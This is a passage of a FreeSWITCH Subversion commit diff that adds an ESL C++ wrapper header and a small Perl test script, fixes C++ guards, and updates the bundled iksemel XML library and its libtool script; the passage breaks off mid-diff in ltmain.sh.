+++ freeswitch/branches/seven/libs/esl/src/include/esl_oop.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,105 @@
+/*
+ * Copyright (c) 2007, Anthony Minessale II
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ * 
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef _ESL_OOP_H_
+#define _ESL_OOP_H_
+#include <esl.h>
+#ifdef __cplusplus
+extern "C" { 
+#endif
+
+#define this_check(x) do { if (!this) { esl_log(ESL_LOG_ERROR, "object is not initalized\n"); return x;}} while(0)
+#define this_check_void() do { if (!this) { esl_log(ESL_LOG_ERROR, "object is not initalized\n"); return;}} while(0)
+
+
+class ESLevent {
+ private:
+	esl_event_header_t *hp;
+ public:
+	esl_event_t *event;
+	char *serialized_string;
+	int mine;
+
+	ESLevent(const char *type, const char *subclass_name = NULL);
+	ESLevent(esl_event_t *wrap_me, int free_me = 0);
+	ESLevent(ESLevent *me);
+	virtual ~ESLevent();
+	const char *serialize(const char *format = NULL);
+	bool setPriority(esl_priority_t priority = ESL_PRIORITY_NORMAL);
+	const char *getHeader(const char *header_name);
+	char *getBody(void);
+	const char *getType(void);
+	bool addBody(const char *value);
+	bool addHeader(const char *header_name, const char *value);
+	bool delHeader(const char *header_name);
+	const char *firstHeader(void);
+	const char *nextHeader(void);
+};
+
+
+
+class ESLconnection {
+ private:
+	esl_handle_t handle;
+ public:
+	ESLconnection(const char *host, const char *port, const char *password);
+	ESLconnection(int socket);
+	virtual ~ESLconnection();
+	int socketDescriptor();
+	int connected();
+	ESLevent *getInfo();
+	int send(const char *cmd);
+	ESLevent *sendRecv(const char *cmd);
+	ESLevent *api(const char *cmd, const char *arg = NULL);
+	ESLevent *bgapi(const char *cmd, const char *arg = NULL);
+	int sendEvent(ESLevent *send_me);
+	ESLevent *recvEvent();
+	ESLevent *recvEventTimed(int ms);
+	ESLevent *filter(const char *header, const char *value);
+	int events(const char *etype, const char *value);
+	int execute(const char *app, const char *arg = NULL, const char *uuid = NULL);
+	int executeAsync(const char *app, const char *arg = NULL, const char *uuid = NULL);
+	int setAsyncExecute(const char *val);
+	int setEventLock(const char *val);
+	int disconnect(void);
+};
+
+void eslSetLogLevel(int level);
+
+
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

Modified: freeswitch/branches/seven/libs/esl/src/include/esl_threadmutex.h (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/src/include/esl_threadmutex.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/src/include/esl_threadmutex.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,9 +23,9 @@
 
 #include "esl.h"
 
-#ifdef _cplusplus
+#ifdef __cplusplus
 extern "C" {
-#endif /* defined(_cplusplus) */
+#endif /* defined(__cplusplus) */
 
 typedef struct esl_mutex esl_mutex_t;
 typedef struct esl_thread esl_thread_t;
@@ -40,9 +40,9 @@
 ESL_DECLARE(esl_status_t) esl_mutex_trylock(esl_mutex_t *mutex);
 ESL_DECLARE(esl_status_t) esl_mutex_unlock(esl_mutex_t *mutex);
 
-#ifdef _cplusplus
+#ifdef __cplusplus
 }
-#endif /* defined(_cplusplus) */
+#endif /* defined(__cplusplus) */
 
 #endif /* defined(_ESL_THREADMUTEX_H) */
 

Copied: freeswitch/branches/seven/libs/esl/test.pl (from rev 14471, freeswitch/trunk/libs/esl/test.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/test.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/test.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+#!/usr/bin/perl
+require ESL;
+use Data::Dumper;
+
+my $fd = fileno(STDIN);
+my $con = new ESL::ESLconnection($fd);
+my $info = $con->getInfo();
+
+select STDERR;
+
+print $info->serialize();
+
+my $uuid = $info->getHeader("unique-id");
+
+$con->execute("answer", "", $uuid);
+$con->execute("playback", "/ram/swimp.raw", $uuid);
+
+
+$con->disconnect();
+
+

Modified: freeswitch/branches/seven/libs/esl/testserver.c (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/testserver.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/testserver.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,7 +2,7 @@
 #include <stdlib.h>
 #include <esl.h>
 
-static void mycallback(esl_socket_t server_sock, esl_socket_t client_sock, struct sockaddr_in addr)
+static void mycallback(esl_socket_t server_sock, esl_socket_t client_sock, struct sockaddr_in *addr)
 {
 	esl_handle_t handle = {{0}};
 	int done = 0;

Property changes: freeswitch/branches/seven/libs/iksemel


Name: svn:ignore
   - Makefile.in
configure
config.log
.complete
iksemel.pc
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
   + Makefile.in
configure
config.log
.complete
iksemel.pc
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
depcomp
compile
config.guess
config.sub
missing
install-sh
configure.lineno

Modified: freeswitch/branches/seven/libs/iksemel/.update (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/.update	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +0,0 @@
-Fri Mar 16 17:15:40 EDT 2007

Modified: freeswitch/branches/seven/libs/iksemel/ChangeLog (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/ChangeLog	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/ChangeLog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,32 @@
+2007-08-02  Gurer
+	* tst-iks.c: test for new append/prepend functions added.
+
+2007-08-01  Gurer
+	* Patch from Benjamin Bennett:
+	  base64.c: fix padding
+	* sha.c: 64bit fix (long -> int)
+	* iks.c: new funcs: iks_append, iks_prepend
+	  iks_append_cdata, iks_prepend_cdata
+	* stream.c: iks_sasl_challenge split into smaller functions
+	  This change also fixes some possible leaks which are detected
+	  by Coverity Inc's excellent Prevent product.
+
+2006-05-19  Gurer
+	* dom.c: fixed (size % FILE_IO_BUFFER_SIZE) problem in iks_load()
+
+2005-08-29  Gurer
+	* Patch from Jakob Schroter:
+	  iksemel.texi: small documentation update
+	* Patch from Darrell Karbott:
+	  sax.c: use fixed instead of floating point (for arm)
+	  mark static const data properly
+	  explicit char* uchar* casts
+
+2004-08-14  Gurer
+	* version bump to 1.3
+	* patch from Roland Hedberg
+	  io-posix.c: io_connect now tries all addrinfo values.
+
 2004-08-05  Gurer
 	* iksemel.h: ikstransport cosmetic cleanup.
 	* iksemel.texi: mingw notice added.

Modified: freeswitch/branches/seven/libs/iksemel/INSTALL (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/INSTALL	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/INSTALL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,27 +1,43 @@
+Installation Instructions
+*************************
+
+Copyright (C) 1994, 1995, 1996, 1999, 2000, 2001, 2002, 2004, 2005 Free
+Software Foundation, Inc.
+
+This file is free documentation; the Free Software Foundation gives
+unlimited permission to copy, distribute and modify it.
+
 Basic Installation
 ==================
 
-   These are generic installation instructions.
+These are generic installation instructions.
 
    The `configure' shell script attempts to guess correct values for
 various system-dependent variables used during compilation.  It uses
 those values to create a `Makefile' in each directory of the package.
 It may also create one or more `.h' files containing system-dependent
 definitions.  Finally, it creates a shell script `config.status' that
-you can run in the future to recreate the current configuration, a file
-`config.cache' that saves the results of its tests to speed up
-reconfiguring, and a file `config.log' containing compiler output
-(useful mainly for debugging `configure').
+you can run in the future to recreate the current configuration, and a
+file `config.log' containing compiler output (useful mainly for
+debugging `configure').
 
+   It can also use an optional file (typically called `config.cache'
+and enabled with `--cache-file=config.cache' or simply `-C') that saves
+the results of its tests to speed up reconfiguring.  (Caching is
+disabled by default to prevent problems with accidental use of stale
+cache files.)
+
    If you need to do unusual things to compile the package, please try
 to figure out how `configure' could check whether to do them, and mail
 diffs or instructions to the address given in the `README' so they can
-be considered for the next release.  If at some point `config.cache'
-contains results you don't want to keep, you may remove or edit it.
+be considered for the next release.  If you are using the cache, and at
+some point `config.cache' contains results you don't want to keep, you
+may remove or edit it.
 
-   The file `configure.in' is used to create `configure' by a program
-called `autoconf'.  You only need `configure.in' if you want to change
-it or regenerate `configure' using a newer version of `autoconf'.
+   The file `configure.ac' (or `configure.in') is used to create
+`configure' by a program called `autoconf'.  You only need
+`configure.ac' if you want to change it or regenerate `configure' using
+a newer version of `autoconf'.
 
 The simplest way to compile this package is:
 
@@ -54,20 +70,22 @@
 Compilers and Options
 =====================
 
-   Some systems require unusual options for compilation or linking that
-the `configure' script does not know about.  You can give `configure'
-initial values for variables by setting them in the environment.  Using
-a Bourne-compatible shell, you can do that on the command line like
-this:
-     CC=c89 CFLAGS=-O2 LIBS=-lposix ./configure
+Some systems require unusual options for compilation or linking that the
+`configure' script does not know about.  Run `./configure --help' for
+details on some of the pertinent environment variables.
 
-Or on systems that have the `env' program, you can do it like this:
-     env CPPFLAGS=-I/usr/local/include LDFLAGS=-s ./configure
+   You can give `configure' initial values for configuration parameters
+by setting variables in the command line or in the environment.  Here
+is an example:
 
+     ./configure CC=c89 CFLAGS=-O2 LIBS=-lposix
+
+   *Note Defining Variables::, for more details.
+
 Compiling For Multiple Architectures
 ====================================
 
-   You can compile the package for more than one kind of computer at the
+You can compile the package for more than one kind of computer at the
 same time, by placing the object files for each architecture in their
 own directory.  To do this, you must use a version of `make' that
 supports the `VPATH' variable, such as GNU `make'.  `cd' to the
@@ -75,28 +93,28 @@
 the `configure' script.  `configure' automatically checks for the
 source code in the directory that `configure' is in and in `..'.
 
-   If you have to use a `make' that does not supports the `VPATH'
-variable, you have to compile the package for one architecture at a time
-in the source code directory.  After you have installed the package for
-one architecture, use `make distclean' before reconfiguring for another
-architecture.
+   If you have to use a `make' that does not support the `VPATH'
+variable, you have to compile the package for one architecture at a
+time in the source code directory.  After you have installed the
+package for one architecture, use `make distclean' before reconfiguring
+for another architecture.
 
 Installation Names
 ==================
 
-   By default, `make install' will install the package's files in
-`/usr/local/bin', `/usr/local/man', etc.  You can specify an
-installation prefix other than `/usr/local' by giving `configure' the
-option `--prefix=PATH'.
+By default, `make install' installs the package's commands under
+`/usr/local/bin', include files under `/usr/local/include', etc.  You
+can specify an installation prefix other than `/usr/local' by giving
+`configure' the option `--prefix=PREFIX'.
 
    You can specify separate installation prefixes for
 architecture-specific files and architecture-independent files.  If you
-give `configure' the option `--exec-prefix=PATH', the package will use
-PATH as the prefix for installing programs and libraries.
-Documentation and other data files will still use the regular prefix.
+pass the option `--exec-prefix=PREFIX' to `configure', the package uses
+PREFIX as the prefix for installing programs and libraries.
+Documentation and other data files still use the regular prefix.
 
    In addition, if you use an unusual directory layout you can give
-options like `--bindir=PATH' to specify different values for particular
+options like `--bindir=DIR' to specify different values for particular
 kinds of files.  Run `configure --help' for a list of the directories
 you can set and what kinds of files go in them.
 
@@ -107,7 +125,7 @@
 Optional Features
 =================
 
-   Some packages pay attention to `--enable-FEATURE' options to
+Some packages pay attention to `--enable-FEATURE' options to
 `configure', where FEATURE indicates an optional part of the package.
 They may also pay attention to `--with-PACKAGE' options, where PACKAGE
 is something like `gnu-as' or `x' (for the X Window System).  The
@@ -122,48 +140,86 @@
 Specifying the System Type
 ==========================
 
-   There may be some features `configure' can not figure out
-automatically, but needs to determine by the type of host the package
-will run on.  Usually `configure' can figure that out, but if it prints
-a message saying it can not guess the host type, give it the
-`--host=TYPE' option.  TYPE can either be a short name for the system
-type, such as `sun4', or a canonical name with three fields:
+There may be some features `configure' cannot figure out automatically,
+but needs to determine by the type of machine the package will run on.
+Usually, assuming the package is built to be run on the _same_
+architectures, `configure' can figure that out, but if it prints a
+message saying it cannot guess the machine type, give it the
+`--build=TYPE' option.  TYPE can either be a short name for the system
+type, such as `sun4', or a canonical name which has the form:
+
      CPU-COMPANY-SYSTEM
 
-See the file `config.sub' for the possible values of each field.  If
+where SYSTEM can have one of these forms:
+
+     OS KERNEL-OS
+
+   See the file `config.sub' for the possible values of each field.  If
 `config.sub' isn't included in this package, then this package doesn't
-need to know the host type.
+need to know the machine type.
 
-   If you are building compiler tools for cross-compiling, you can also
-use the `--target=TYPE' option to select the type of system they will
-produce code for and the `--build=TYPE' option to select the type of
-system on which you are compiling the package.
+   If you are _building_ compiler tools for cross-compiling, you should
+use the option `--target=TYPE' to select the type of system they will
+produce code for.
 
+   If you want to _use_ a cross compiler, that generates code for a
+platform different from the build platform, you should specify the
+"host" platform (i.e., that on which the generated programs will
+eventually be run) with `--host=TYPE'.
+
 Sharing Defaults
 ================
 
-   If you want to set default values for `configure' scripts to share,
-you can create a site shell script called `config.site' that gives
-default values for variables like `CC', `cache_file', and `prefix'.
+If you want to set default values for `configure' scripts to share, you
+can create a site shell script called `config.site' that gives default
+values for variables like `CC', `cache_file', and `prefix'.
 `configure' looks for `PREFIX/share/config.site' if it exists, then
 `PREFIX/etc/config.site' if it exists.  Or, you can set the
 `CONFIG_SITE' environment variable to the location of the site script.
 A warning: not all `configure' scripts look for a site script.
 
-Operation Controls
+Defining Variables
 ==================
 
-   `configure' recognizes the following options to control how it
-operates.
+Variables not defined in a site shell script can be set in the
+environment passed to `configure'.  However, some packages may run
+configure again during the build, and the customized values of these
+variables may be lost.  In order to avoid this problem, you should set
+them in the `configure' command line, using `VAR=value'.  For example:
 
-`--cache-file=FILE'
-     Use and save the results of the tests in FILE instead of
-     `./config.cache'.  Set FILE to `/dev/null' to disable caching, for
-     debugging `configure'.
+     ./configure CC=/usr/local2/bin/gcc
 
+causes the specified `gcc' to be used as the C compiler (unless it is
+overridden in the site shell script).  Here is a another example:
+
+     /bin/bash ./configure CONFIG_SHELL=/bin/bash
+
+Here the `CONFIG_SHELL=/bin/bash' operand causes subsequent
+configuration-related scripts to be executed by `/bin/bash'.
+
+`configure' Invocation
+======================
+
+`configure' recognizes the following options to control how it operates.
+
 `--help'
+`-h'
      Print a summary of the options to `configure', and exit.
 
+`--version'
+`-V'
+     Print the version of Autoconf used to generate the `configure'
+     script, and exit.
+
+`--cache-file=FILE'
+     Enable the cache: use and save the results of the tests in FILE,
+     traditionally `config.cache'.  FILE defaults to `/dev/null' to
+     disable caching.
+
+`--config-cache'
+`-C'
+     Alias for `--cache-file=config.cache'.
+
 `--quiet'
 `--silent'
 `-q'
@@ -175,8 +231,6 @@
      Look for the package's source code in directory DIR.  Usually
      `configure' can determine that directory automatically.
 
-`--version'
-     Print the version of Autoconf used to generate the `configure'
-     script, and exit.
+`configure' also accepts some other, not widely useful, options.  Run
+`configure --help' for more details.
 
-`configure' also accepts some other, not widely useful, options.

Modified: freeswitch/branches/seven/libs/iksemel/NEWS (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/NEWS	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/NEWS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,22 @@
+V1.3 (2007-08-02)
+* Project is moved to
+    http://code.google.com/p/iksemel/
+  there is also a new mailing list at:
+    http://groups.google.com/group/iksemel
+  Please use those instead of old jabberstudio.org addresses.
+* iksemel is now participating in Coverity Inc's free software
+  quality improvement program (http://scan.coverity.com). As a
+  first result, a few problems found by Coverity's static analysis
+  tool in the iks_sasl_challenge() are fixed in this release, and
+  other than that, iksemel passes from defect test with no problems.
+* Extra padding problem in the base64 encoder is fixed. Some servers
+  were having problems with extra '=' padded SASL digests.
+* New dom functions: iks_append(), iks_prepend(), iks_append_cdata(),
+  iks_prepend_cdata(). You can append/prepend new nodes within the
+  siblings with them, insert_ functions were only appending at the
+  last child. Thus editing a tree is much easier now.
+* iks_load was giving error on files with multiply of 4Kb sizes, fixed.
+
 V1.2 (2004-08-06)
 * SASL authentication.
 * SSH connections via gnutls library.

Modified: freeswitch/branches/seven/libs/iksemel/README (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/README	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 
-                      iksemel 1.2
+                      iksemel 1.3
 
 Copyright (c) 2000-2004 Gurer Ozen <madcat@e-kolay.net>
 

Property changes: freeswitch/branches/seven/libs/iksemel/build


Name: svn:ignore
   - depcomp
compile
missing
config.guess
ltmain.sh
config.sub
install-sh
   + depcomp
compile
missing
config.guess
ltmain.sh
config.sub
install-sh
texinfo.tex

Modified: freeswitch/branches/seven/libs/iksemel/build/libgnutls.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/build/libgnutls.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/build/libgnutls.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,7 +31,7 @@
     no_libgnutls=yes
   else
     LIBGNUTLS_CFLAGS=`$LIBGNUTLS_CONFIG $libgnutls_config_args --cflags`
-    LIBGNUTLS_LIBS=`$LIBGNUTLS_CONFIG $libgnutls_config_args --libs`
+    LIBGNUTLS_LIBS="`$LIBGNUTLS_CONFIG $libgnutls_config_args --libs` -lpthread"
     libgnutls_config_version=`$LIBGNUTLS_CONFIG $libgnutls_config_args --version`
 
 

Deleted: freeswitch/branches/seven/libs/iksemel/build/texinfo.tex

Modified: freeswitch/branches/seven/libs/iksemel/configure.ac (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/configure.ac	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,7 +3,7 @@
 AC_PREREQ(2.50)
 AC_CONFIG_AUX_DIR(build)
 AC_CONFIG_SRCDIR([configure.ac])
-AM_INIT_AUTOMAKE(iksemel,1.2)
+AM_INIT_AUTOMAKE(iksemel,1.3)
 AC_CONFIG_HEADERS(include/config.h)
 
 AC_CANONICAL_HOST

Modified: freeswitch/branches/seven/libs/iksemel/doc/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/doc/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/doc/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,4 +2,4 @@
 ## Process this file with automake to produce Makefile.in
 ##
 
-info_TEXINFOS = iksemel.texi
+#info_TEXINFOS = iksemel.texi

Deleted: freeswitch/branches/seven/libs/iksemel/doc/iksemel

Modified: freeswitch/branches/seven/libs/iksemel/doc/iksemel.texi (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/doc/iksemel.texi	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/doc/iksemel.texi	2009-08-09 18:53:22 UTC (rev 14472)
@@ -594,28 +594,30 @@
 
 @deftypefun char* iks_name (iks* @var{x});
 Returns the name of the tag for nodes with the type @var{IKS_TAG}.
+Returns an attribute's name for nodes of type IKS_ATTRIBUTE.
 @end deftypefun
 
 @deftypefun char* iks_cdata (iks* @var{x});
 Returns a pointer to node's character data if available, NULL otherwise.
+Returns an attribute's value for nodes of type IKS_ATTRIBUTE.
 @end deftypefun
 
-@deftypefun size_t iks_cdata_size (iks* @var{x});
+@deftypefun size_t iks_cdata_size (iks *@var{x});
 Returns the size of the node's character data in bytes.
 @end deftypefun
 
-@deftypefun int iks_has_children (iks* @var{x});
+@deftypefun int iks_has_children (iks *@var{x});
 Returns a non-zero value if node @var{x} has a child node.
 @end deftypefun
 
-@deftypefun int iks_has_attribs (iks* @var{x});
+@deftypefun int iks_has_attribs (iks *@var{x});
 Returns a non-zero value if node @var{x} has attributes.
 @end deftypefun
 
 Last group of the functions simplifies finding and accessing the content
 of a specific node:
 
-@deftypefun iks* iks_find (iks* @var{x}, const char* @var{name});
+@deftypefun iks* iks_find (iks *@var{x}, const char *@var{name});
 Searches a IKS_TAG type of node with @var{name} as tag name in child
 nodes of @var{x}. Returns a pointer to the node if found, NULL otherwise.
 @end deftypefun

Modified: freeswitch/branches/seven/libs/iksemel/include/iksemel.h (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/include/iksemel.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/include/iksemel.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /* iksemel (XML parser for Jabber)
-** Copyright (C) 2000-2004 Gurer Ozen <madcat@e-kolay.net>
+** Copyright (C) 2000-2007 Gurer Ozen <madcat@e-kolay.net>
 ** This code is free software; you can redistribute it and/or
 ** modify it under the terms of GNU Lesser General Public License.
 */
@@ -26,7 +26,6 @@
 void iks_stack_stat (ikstack *s, size_t *allocated, size_t *used);
 void iks_stack_delete (ikstack **sp);
 
-
 /*****  utilities  *****/
 
 void *iks_malloc (size_t size);
@@ -63,6 +62,10 @@
 iks *iks_insert_cdata (iks *x, const char *data, size_t len);
 iks *iks_insert_attrib (iks *x, const char *name, const char *value);
 iks *iks_insert_node (iks *x, iks *y);
+iks *iks_append (iks *x, const char *name);
+iks *iks_prepend (iks *x, const char *name);
+iks *iks_append_cdata (iks *x, const char *data, size_t len);
+iks *iks_prepend_cdata (iks *x, const char *data, size_t len);
 void iks_hide (iks *x);
 void iks_delete (iks *x);
 iks *iks_next (iks *x);

Modified: freeswitch/branches/seven/libs/iksemel/ltmain.sh (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/ltmain.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/ltmain.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -46,10 +46,16 @@
 VERSION=1.5.22
 TIMESTAMP=" (1.1220.2.365 2005/12/18 22:14:06)"
 
-# See if we are running on zsh, and set the options which allow our
-# commands through without removal of \ escapes.
-if test -n "${ZSH_VERSION+set}" ; then
+# Be Bourne compatible (taken from Autoconf:_AS_BOURNE_COMPATIBLE).
+if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+  emulate sh
+  NULLCMD=:
+  # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which
+  # is contrary to our usage.  Disable this feature.
+  alias -g '${1+"$@"}'='"$@"'
   setopt NO_GLOB_SUBST
+else
+  case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac
 fi
 
 # Check that we have a working $echo.
@@ -105,12 +111,14 @@
 # These must not be set unconditionally because not all systems understand
 # e.g. LANG=C (notably SCO).
 # We save the old values to restore during execute mode.
-if test "${LC_ALL+set}" = set; then
-  save_LC_ALL="$LC_ALL"; LC_ALL=C; export LC_ALL
-fi
-if test "${LANG+set}" = set; then
-  save_LANG="$LANG"; LANG=C; export LANG
-fi
+for lt_var in LANG LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES
+do
+  eval "if test \"\${$lt_var+set}\" = set; then
+         save_$lt_var=\$$lt_var
+         $lt_var=C
+         export $lt_var
+       fi"
+done
 
 # Make sure IFS has a sensible default
 lt_nl='
@@ -136,6 +144,8 @@
 preserve_args=
 lo2o="s/\\.lo\$/.${objext}/"
 o2lo="s/\\.${objext}\$/.lo/"
+extracted_archives=
+extracted_serial=0
 
 #####################################
 # Shell function definitions:
@@ -327,7 +337,17 @@
 	*) my_xabs=`pwd`"/$my_xlib" ;;
       esac
       my_xlib=`$echo "X$my_xlib" | $Xsed -e 's%^.*/%%'`
-      my_xdir="$my_gentop/$my_xlib"
+      my_xlib_u=$my_xlib
+      while :; do
+        case " $extracted_archives " in
+       *" $my_xlib_u "*)
+         extracted_serial=`expr $extracted_serial + 1`
+         my_xlib_u=lt$extracted_serial-$my_xlib ;;
+       *) break ;;
+       esac
+      done
+      extracted_archives="$extracted_archives $my_xlib_u"
+      my_xdir="$my_gentop/$my_xlib_u"
 
       $show "${rm}r $my_xdir"
       $run ${rm}r "$my_xdir"
@@ -758,6 +778,7 @@
     *.f90) xform=f90 ;;
     *.for) xform=for ;;
     *.java) xform=java ;;
+    *.obj) xform=obj ;;
     esac
 
     libobj=`$echo "X$libobj" | $Xsed -e "s/\.$xform$/.lo/"`
@@ -1138,8 +1159,9 @@
     for arg
     do
       case $arg in
-      -all-static | -static)
-	if test "X$arg" = "X-all-static"; then
+      -all-static | -static | -static-libtool-libs)
+    case $arg in
+    -all-static)
 	  if test "$build_libtool_libs" = yes && test -z "$link_static_flag"; then
 	    $echo "$modename: warning: complete static linking is impossible in this configuration" 1>&2
 	  fi
@@ -1147,12 +1169,20 @@
 	    dlopen_self=$dlopen_self_static
 	  fi
 	  prefer_static_libs=yes
-	else
+	  ;;
+    -static)
 	  if test -z "$pic_flag" && test -n "$link_static_flag"; then
 	    dlopen_self=$dlopen_self_static
 	  fi
 	  prefer_static_libs=built
-	fi
+	  ;;
+    -static-libtool-libs)
+      if test -z "$pic_flag" && test -n "$link_static_flag"; then
+        dlopen_self=$dlopen_self_static
+      fi
+      prefer_static_libs=yes
+      ;;
+    esac
 	build_libtool_libs=no
 	build_old_libs=yes
 	break
@@ -1712,7 +1742,7 @@
 	continue
 	;;
 
-      -static)
+      -static | -static-libtool-libs)
 	# The effects of -static are defined in a previous loop.
 	# We used to do the same as -all-static on platforms that
 	# didn't have a PIC flag, but the assumption that the effects
@@ -2490,7 +2520,9 @@
 
 	if test "$linkmode,$pass" = "prog,link"; then
 	  if test -n "$library_names" &&
-	     { test "$prefer_static_libs" = no || test -z "$old_library"; }; then
+         { { test "$prefer_static_libs" = no ||
+             test "$prefer_static_libs,$installed" = "built,yes"; } ||
+           test -z "$old_library"; }; then
 	    # We need to hardcode the library path
 	    if test -n "$shlibpath_var" && test -z "$avoidtemprpath" ; then
 	      # Make sure the rpath contains only unique directories.
@@ -3186,7 +3218,7 @@
 	  # which has an extra 1 added just for fun
 	  #
 	  case $version_type in
-	  darwin|linux|osf|windows)
+	  darwin|linux|osf|windows|none)
 	    current=`expr $number_major + $number_minor`
 	    age="$number_minor"
 	    revision="$number_revision"
@@ -3410,11 +3442,11 @@
       fi
 
       # Eliminate all temporary directories.
-      for path in $notinst_path; do
-	lib_search_path=`$echo "$lib_search_path " | ${SED} -e "s% $path % %g"`
-	deplibs=`$echo "$deplibs " | ${SED} -e "s% -L$path % %g"`
-	dependency_libs=`$echo "$dependency_libs " | ${SED} -e "s% -L$path % %g"`
-      done
+#      for path in $notinst_path; do
+#	lib_search_path=`$echo "$lib_search_path " | ${SED} -e "s% $path % %g"`
+#	deplibs=`$echo "$deplibs " | ${SED} -e "s% -L$path % %g"`
+#	dependency_libs=`$echo "$dependency_libs " | ${SED} -e "s% -L$path % %g"`
+#      done
 
       if test -n "$xrpath"; then
 	# If the user specified any rpath flags, then add them.
@@ -3515,13 +3547,12 @@
 	  int main() { return 0; }
 EOF
 	  $rm conftest
-	  $LTCC $LTCFLAGS -o conftest conftest.c $deplibs
-	  if test "$?" -eq 0 ; then
+      if $LTCC $LTCFLAGS -o conftest conftest.c $deplibs; then
 	    ldd_output=`ldd conftest`
 	    for i in $deplibs; do
 	      name=`expr $i : '-l\(.*\)'`
 	      # If $name is empty we are operating on a -L argument.
-              if test "$name" != "" && test "$name" -ne "0"; then
+              if test "$name" != "" && test "$name" != "0"; then
 		if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
 		  case " $predeps $postdeps " in
 		  *" $i "*)
@@ -3560,9 +3591,7 @@
 	      # If $name is empty we are operating on a -L argument.
               if test "$name" != "" && test "$name" != "0"; then
 		$rm conftest
-		$LTCC $LTCFLAGS -o conftest conftest.c $i
-		# Did it work?
-		if test "$?" -eq 0 ; then
+		if $LTCC $LTCFLAGS -o conftest conftest.c $i; then
 		  ldd_output=`ldd conftest`
 		  if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
 		    case " $predeps $postdeps " in
@@ -3594,7 +3623,7 @@
 		  droppeddeps=yes
 		  $echo
 		  $echo "*** Warning!  Library $i is needed by this library but I was not able to"
-		  $echo "***  make it link in!  You will probably need to install it or some"
